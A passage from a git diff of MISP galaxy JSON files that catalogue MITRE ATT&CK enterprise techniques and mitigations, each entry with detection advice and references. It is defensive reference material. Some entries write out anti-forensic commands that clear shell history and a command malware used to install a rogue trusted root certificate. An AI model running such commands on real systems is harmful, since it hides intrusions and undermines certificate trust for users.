Exploits MacKeeper)\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: macOS\n\nData Sources: User interface, Process Monitoring\n\nPermissions Required: User", + "value": "Input Prompt - T1141", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1141", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" + ], + "external_id": "T1141", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "User interface", + "Process Monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b" + }, + { + "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Shared webroot directory on remote system", + "value": "Shared Webroot - T1051", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1051" + ], + "external_id": "T1051", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db" + }, + { + "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows\n\nData Sources: Sensor health and status, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems", + "value": "Indicator Blocking - T1054", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1054" + ], + "external_id": "T1054", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Sensor health and status", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df" + }, + { + "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Data loss prevention, File monitoring\n\nSystem Requirements: Presence of physical medium or device\n\nRequires Network: No", + "value": "Exfiltration Over Physical Medium - T1052", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1052" + ], + "external_id": "T1052", + "kill_chain": [ + "mitre-attack:enterprise-attack:exfiltration" + ], + "mitre_data_sources": [ + "Data loss prevention", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "e6415f09-df0e-48de-9aba-928c902b7549" + }, + { + "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. (Citation: Microsoft runas)\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n'''Create Process with a Token''' - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit\u2019s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx (Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Access Tokens\n\nEffective Permissions: SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3", + "value": "Access Token Manipulation - T1134", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1134", + "https://technet.microsoft.com/en-us/library/bb490994.aspx", + "https://pentestlab.blog/2017/04/03/token-manipulation/", + "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/", + "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/", + "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", + "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf" + ], + "external_id": "T1134", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Access Tokens" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring\n\nPermissions Required: User", + "value": "System Time Discovery - T1124", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1124", + "https://msdn.microsoft.com/ms724961.aspx", + "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf" + ], + "external_id": "T1124", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs, File monitoring\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User", + "value": "Clear Command History - T1146", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1146" + ], + "external_id": "T1146", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Authentication logs", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "d3046a90-580c-4004-8208-66915bc29830" + }, + { + "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n*via in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nPermissions Required: User\n\nContributors: Stefan Kanthak", + "value": "Execution through Module Load - T1129", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1129", + "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files" + ], + "external_id": "T1129", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process Monitoring", + "API monitoring", + "File monitoring", + "DLL monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65" + }, + { + "description": "Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\nSSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.\n\nDetection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs\n\nPermissions Required: User, root\n\nSystem Requirements: SSH service enabled, trust relationships configured, established connections\n\nContributors: Anastasios Pingios", + "value": "SSH Hijacking - T1184", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1184", + "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219", + "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf", + "https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking", + "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + ], + "external_id": "T1184", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb" + }, + { + "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n*18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n*245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n*3B1EFD3A66EA28B16697394703A72CA340A05BD5\n*7F88CD7223F3C813818C994614A89C99FA3B5247\n*8F43288AD272F3103B6FB1428485EA3014C0BCFE\n*A43489159A520F0D93D032CCAF37E7FE20A8B419\n*BE36A4562FB2EE05DBB3D32323ADF445084ED656\n*CDD4EEAE6000AC7F40C3802C171E30148030C072\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator, User\n\nContributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire, Red Canary, Matt Graeber, @mattifestation, SpecterOps", + "value": "Install Root Certificate - T1130", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1130", + "https://en.wikipedia.org/wiki/Root%20certificate", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", + "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/", + "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/", + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", + "https://objective-see.com/blog/blog%200x26.html", + "https://docs.microsoft.com/sysinternals/downloads/sigcheck" + ], + "external_id": "T1130", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Digital Certificate Logs" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1" + }, + { + "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", + "value": "Data Transfer Size Limits - T1030", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1030", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1030", + "kill_chain": [ + "mitre-attack:enterprise-attack:exfiltration" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd" + }, + { + "description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware).\n\nDetection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator", + "value": ".bash_profile and .bashrc - T1156", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1156", + "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" + ], + "external_id": "T1156", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8" + }, + { + "description": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin\n\nAdversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016)\n\nDetection: BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)\n\nMonitor usage of the BITSAdmin tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Packet capture, Windows event logs\n\nDefense Bypassed: Firewall, Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Ricardo Dias, Red Canary", + "value": "BITS Jobs - T1197", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1197", + "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", + "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx", + "https://www.secureworks.com/blog/malware-lingers-with-bits", + "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/", + "https://www.symantec.com/connect/blogs/malware-update-windows-update", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/", + "https://technet.microsoft.com/library/dd939934.aspx" + ], + "external_id": "T1197", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "Packet capture", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "c8e87b83-edbb-48d4-9295-4974897525b7" + } + ] +} \ No newline at end of file diff --git a/clusters/mitre-enterprise-attack-course-of-action.json b/clusters/mitre-enterprise-attack-course-of-action.json index 13c0f9d..698b8bb 100644 --- a/clusters/mitre-enterprise-attack-course-of-action.json +++ b/clusters/mitre-enterprise-attack-course-of-action.json @@ -1,928 +1,1733 @@ { - "name": "Enterprise Attack - Course of Action", - "type": "mitre-enterprise-attack-course-of-action", - "description": "ATT&CK Mitigation", - "version": 3, - "source": "https://github.com/mitre/cti", - "uuid": "fb870a6a-1707-11e8-b548-17523e4d0670", - "authors": [ - "MITRE" - ], - "values": [ - { - "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Component Object Model Hijacking Mitigation - T1122", - "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e" - }, - { - "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Exfiltration Over Command and Control Channel Mitigation - T1041", - "uuid": "92c28497-2820-445e-9f3e-a03dd77dc0c8" - }, - { - "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).", - "value": "Process Injection Mitigation - T1055", - "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7" - }, - { - "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)", - "value": "Bypass User Account Control Mitigation - T1088", - "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f" - }, - { - "description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "value": "Command-Line Interface Mitigation - T1059", - "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04" - }, - { - "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", - "value": "DLL Search Order Hijacking Mitigation - T1038", - "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04" - }, - { - "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "value": "Uncommonly Used Port Mitigation - T1065", - "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used 